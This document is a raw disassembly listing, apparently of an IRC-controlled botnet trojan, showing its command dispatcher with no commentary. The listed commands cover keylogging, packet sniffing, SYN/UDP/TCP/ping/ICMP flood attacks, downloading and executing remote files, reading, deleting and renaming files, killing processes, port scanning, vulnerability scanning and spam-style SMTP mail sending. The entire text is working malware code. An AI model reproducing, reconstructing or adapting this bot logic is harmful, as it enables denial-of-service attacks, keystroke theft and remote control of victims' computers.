		jz	loc_411624
		push	[ebp+arg_8]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115C9
		push	[ebp+arg_8]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115C9
		push	[ebp+arg_8]
		push	offset aBox_delete ; "box.delete"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411592
		push	[ebp+arg_8]
		push	offset aBox_del	; "box.del"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411592
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114B1
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4114B1
		push	[ebp+arg_8]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411496
		push	[ebp+arg_8]
		push	offset aBox_fl	; "box.fl"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411496
		push	[ebp+arg_8]
		push	offset aEnz_visit ; "enz.visit"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4113B8
		push	[ebp+arg_8]
		push	offset aEnz_v	; "enz.v"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4113B8
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41137D
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41137D
		push	[ebp+arg_8]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411332
		push	[ebp+arg_8]
		push	offset aBox_cm	; "box.cm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411332
		push	[ebp+arg_8]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112AD
		push	[ebp+arg_8]
		push	offset aBox_rf	; "box.rf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4112AD
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB3B
		push	edi
		push	offset aOn	; "on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EB06
		push	18h
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40EA33
		push	offset unk_4359E4
		jmp	loc_40EBA7
; ---------------------------------------------------------------------------

loc_40EA33:				; CODE XREF: sub_40CE55+1BD2j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4DC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		jnz	short loc_40EA75
		mov	esi, offset dword_42C250
		push	offset byte_438FDC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA75
		mov	esi, [ebp+var_8C]

loc_40EA75:				; CODE XREF: sub_40CE55+1C02j
					; sub_40CE55+1C18j
		push	esi
		lea	eax, [ebp+var_4D8]
		push	80h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_2C8]
		push	offset unk_4359A0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	18h
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_458], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	eax
		push	offset sub_4024DC
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_458]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_40EAF5

loc_40EADF:				; CODE XREF: sub_40CE55+1C9Ej
		cmp	[ebp+var_44C], ebx
		jnz	loc_40ECC3
		push	32h
		call	dword_421060
		jmp	short loc_40EADF
; ---------------------------------------------------------------------------

loc_40EAF5:				; CODE XREF: sub_40CE55+1C88j
		call	dword_421088
		push	eax
		push	offset unk_435950
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_40EB06:				; CODE XREF: sub_40CE55+1BC2j
		push	edi
		push	offset aOff	; "off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECC3
		push	ebx
		push	18h
		call	sub_41518E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EB34
		push	eax
		push	offset unk_435900
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_40EB34:				; CODE XREF: sub_40CE55+1CD2j
		push	offset unk_4358C4
		jmp	short loc_40EBA7
; ---------------------------------------------------------------------------

loc_40EB3B:				; CODE XREF: sub_40CE55+1BADj
		push	[ebp+arg_8]
		push	offset aBox_keylog ; "box.keylog"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECED
		push	edi
		push	offset aOn	; "on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EBBA
		push	edi
		push	offset aFile	; "file"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EBBA
		push	edi
		push	offset aOff	; "off"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40ECC3
		push	ebx
		push	1Ah
		call	sub_41518E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40EBA2
		push	eax
		push	offset unk_435868
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_40EBA2:				; CODE XREF: sub_40CE55+1D40j
		push	offset unk_435828

loc_40EBA7:				; CODE XREF: sub_40CE55+1BD9j
					; sub_40CE55+1CE4j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_40EBBA:				; CODE XREF: sub_40CE55+1D0Cj
					; sub_40CE55+1D1Dj
		push	1Ah
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40EBCD
		push	offset unk_4357F4
		jmp	short loc_40EBA7
; ---------------------------------------------------------------------------

loc_40EBCD:				; CODE XREF: sub_40CE55+1D6Fj
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4DC], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_454], eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EBFC
		mov	[ebp+var_450], 1
		jmp	short loc_40EC05
; ---------------------------------------------------------------------------

loc_40EBFC:				; CODE XREF: sub_40CE55+1D99j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_450], eax

loc_40EC05:				; CODE XREF: sub_40CE55+1DA5j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_40EC2C
		mov	esi, offset dword_42C24C
		push	offset byte_438FDC
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EC2C
		mov	esi, [ebp+var_8C]

loc_40EC2C:				; CODE XREF: sub_40CE55+1DB9j
					; sub_40CE55+1DCFj
		push	esi
		lea	eax, [ebp+var_4D4]
		push	80h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp+var_2C8]
		push	offset unk_4357C0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ah
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_4D8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	eax
		push	offset sub_4021FB
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_4D8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_40ECA8

loc_40EC96:				; CODE XREF: sub_40CE55+1E51j
		cmp	[ebp+var_44C], ebx
		jnz	short loc_40ECC3
		push	32h
		call	dword_421060
		jmp	short loc_40EC96
; ---------------------------------------------------------------------------

loc_40ECA8:				; CODE XREF: sub_40CE55+1E3Fj
		call	dword_421088
		push	eax
		push	offset unk_435770

loc_40ECB4:				; CODE XREF: sub_40CE55+1CACj
					; sub_40CE55+1CDAj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_40ECC3:				; CODE XREF: sub_40CE55+1C90j
					; sub_40CE55+1CC0j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D7F9
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------

loc_40ECED:				; CODE XREF: sub_40CE55+1CF7j
		push	[ebp+arg_8]
		push	offset aBox_net	; "box.net"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EFBE
		cmp	dword_43A488, ebx
		jz	short loc_40ED1E
		cmp	dword_43A4B0, ebx
		jz	short loc_40ED1E
		push	offset dword_43571C
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40ED1E:				; CODE XREF: sub_40CE55+1EB5j
					; sub_40CE55+1EBDj
		cmp	[ebp+var_C], ebx
		jz	loc_40EF86
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40ED46
		push	eax
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_40ED46:				; CODE XREF: sub_40CE55+1EE1j
		push	edi
		push	offset aStart	; "start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDAC
		cmp	[ebp+arg_18], ebx
		jz	short loc_40ED80
		push	[ebp+arg_0]
		push	3

loc_40ED61:				; CODE XREF: sub_40CE55+1F6Dj
					; sub_40CE55+1F85j ...
		call	sub_412DE7
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_40ED80:				; CODE XREF: sub_40CE55+1F05j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41308E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EDA2
		push	offset dword_4356E4
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40EDA2:				; CODE XREF: sub_40CE55+1F41j
		push	offset dword_4356B0
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40EDAC:				; CODE XREF: sub_40CE55+1F00j
		push	edi
		push	offset aStop	; "stop"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDC4
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------

loc_40EDC4:				; CODE XREF: sub_40CE55+1F66j
		push	edi
		push	offset aPause	; "pause"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDDC
		push	[ebp+arg_0]
		push	5
		jmp	short loc_40ED61
; ---------------------------------------------------------------------------

loc_40EDDC:				; CODE XREF: sub_40CE55+1F7Ej
		push	edi
		push	offset aContinue ; "continue"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EDF7
		push	[ebp+arg_0]
		push	6
		jmp	loc_40ED61
; ---------------------------------------------------------------------------

loc_40EDF7:				; CODE XREF: sub_40CE55+1F96j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE12
		push	[ebp+arg_0]
		push	1
		jmp	loc_40ED61
; ---------------------------------------------------------------------------

loc_40EE12:				; CODE XREF: sub_40CE55+1FB1j
		push	edi
		push	offset aShare	; "share"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE8F
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EE62
		cmp	[ebp+var_9B0], bl
		jz	short loc_40EE38
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40EE43
; ---------------------------------------------------------------------------

loc_40EE38:				; CODE XREF: sub_40CE55+1FD9j
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx

loc_40EE43:				; CODE XREF: sub_40CE55+1FE1j
		call	sub_4131CB
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 18h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_40EE62:				; CODE XREF: sub_40CE55+1FD1j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4133C0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EE85
		push	offset dword_43565C
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40EE85:				; CODE XREF: sub_40CE55+2024j
		push	offset dword_435628
		jmp	loc_40EF78
; ---------------------------------------------------------------------------

loc_40EE8F:				; CODE XREF: sub_40CE55+1FCCj
		push	edi
		push	offset aUser	; "user"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EF2B
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40EF04
		cmp	[ebp+var_9B0], bl
		jz	short loc_40EEC5
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40EEE5
; ---------------------------------------------------------------------------

loc_40EEC5:				; CODE XREF: sub_40CE55+205Cj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_40EEE1
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40EEE5
; ---------------------------------------------------------------------------

loc_40EEE1:				; CODE XREF: sub_40CE55+2085j
		push	ebx
		push	eax
		push	2

loc_40EEE5:				; CODE XREF: sub_40CE55+206Ej
					; sub_40CE55+208Aj
		call	sub_4134E1
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 24h
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_40EF04:				; CODE XREF: sub_40CE55+2054j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4139F5
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EF24
		push	offset dword_4355F4
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------

loc_40EF24:				; CODE XREF: sub_40CE55+20C6j
		push	offset dword_4355C4
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------

loc_40EF2B:				; CODE XREF: sub_40CE55+2049j
		push	edi
		push	offset aSend	; "send"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF73
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EF6C
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413CA9
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		jmp	short loc_40EF86
; ---------------------------------------------------------------------------

loc_40EF6C:				; CODE XREF: sub_40CE55+20EAj
		push	offset dword_435590
		jmp	short loc_40EF78
; ---------------------------------------------------------------------------

loc_40EF73:				; CODE XREF: sub_40CE55+20E5j
		push	offset dword_435560

loc_40EF78:				; CODE XREF: sub_40CE55+1EC4j
					; sub_40CE55+1F48j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40EF86:				; CODE XREF: sub_40CE55+1ECCj
					; sub_40CE55+1F26j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40EFA7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_40EFA7:				; CODE XREF: sub_40CE55+2134j
					; sub_40CE55+44CDj ...
		mov	esi, [ebp+arg_24]

loc_40EFAA:				; CODE XREF: sub_40CE55+9A7j
					; sub_40CE55+47A8j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		pop	ecx
		mov	eax, esi
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_40EFBE:				; CODE XREF: sub_40CE55+1EA9j
		push	[ebp+arg_8]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111C9
		push	[ebp+arg_8]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111C9
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41118A
		push	[ebp+arg_8]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41118A
		push	[ebp+arg_8]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411137
		push	[ebp+arg_8]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411137
		push	[ebp+arg_8]
		push	offset aEnz_action ; "enz.action"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110C9
		push	[ebp+arg_8]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110C9
		push	[ebp+arg_8]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411066
		push	[ebp+arg_8]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411066
		push	[ebp+arg_8]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411027
		push	[ebp+arg_8]
		push	offset aEnz_m	; "enz.m"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411027
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F3A
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F3A
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC9
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC9
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA3
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA3
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E40
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E40
		push	[ebp+arg_8]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D7A
		push	[ebp+arg_8]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D7A
		push	[ebp+arg_8]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CDF
		push	[ebp+arg_8]
		push	offset aEnz_de	; "enz.de"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CDF
		push	[ebp+arg_8]
		push	offset aDownload_updiz ; "download.updiz"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B61
		push	[ebp+arg_8]
		push	offset aDownload_upz ; "download.upz"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B61
		push	[ebp+arg_8]
		push	offset aBox_execute ; "box.execute"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AC0
		push	[ebp+arg_8]
		push	offset aBox_e	; "box.e"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AC0
		push	[ebp+arg_8]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109C2
		push	[ebp+arg_8]
		push	offset aBox_ff	; "box.ff"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109C2
		push	[ebp+arg_8]
		push	offset aBox_rename ; "box.rename"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410971
		push	[ebp+arg_8]
		push	offset aBox_mv	; "box.mv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410971
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410876
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410876
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41078B
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41078B
		push	[ebp+arg_8]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDs_ack	; "ds.ack"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDs_rm	; "ds.rm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410686
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410588
		push	[ebp+arg_8]
		push	offset aSy1	; "sy1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410588
		push	[ebp+arg_8]
		push	offset aDownload_fromw ; "download.fromwww"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41044A
		push	[ebp+arg_8]
		push	offset aD1	; "d1"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41044A
		push	[ebp+arg_8]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410350
		push	[ebp+arg_8]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410350
		push	[ebp+arg_8]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41025D
		push	[ebp+arg_8]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41025D
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410188
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410188
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410073
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410073
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40D219
		push	[ebp+arg_8]
		push	offset aVuln_start ; "vuln.start"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD1A
		push	[ebp+arg_8]
		push	offset aVvv	; "vvv"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FD1A
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aPu	; "pu"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBFA
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aPg	; "pg"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAC7
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F934
		push	[ebp+arg_8]
		push	offset aUsa	; "usa"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F934
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F73D
		lea	eax, [ebp+var_3E4]
		push	edi
		push	eax
		call	sub_415C00
		push	[ebp+arg_18]
		call	sub_415A5F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_D9C]
		push	eax
		call	sub_415C00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_B94]
		push	eax
		call	sub_415C00
		push	offset asc_426A00 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_80]
		call	sub_4099AA
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		call	sub_415C00
		add	esp, 30h
		lea	eax, [ebp+var_6F4]
		push	eax
		push	101h
		call	dword_43A330
		lea	eax, [ebp+var_3E4]
		push	eax
		call	dword_43A43C
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43A438
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2D4], eax
		call	dword_43A3B8
		mov	[ebp+var_2D6], ax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_548]
		push	eax
		lea	eax, [ebp+var_B94]
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		lea	eax, [ebp+var_159C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		lea	eax, [ebp+var_2D8]
		push	10h
		push	eax
		push	esi
		call	dword_43A360
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_C98]
		push	edi
		push	eax
		push	esi
		call	dword_43A3D0
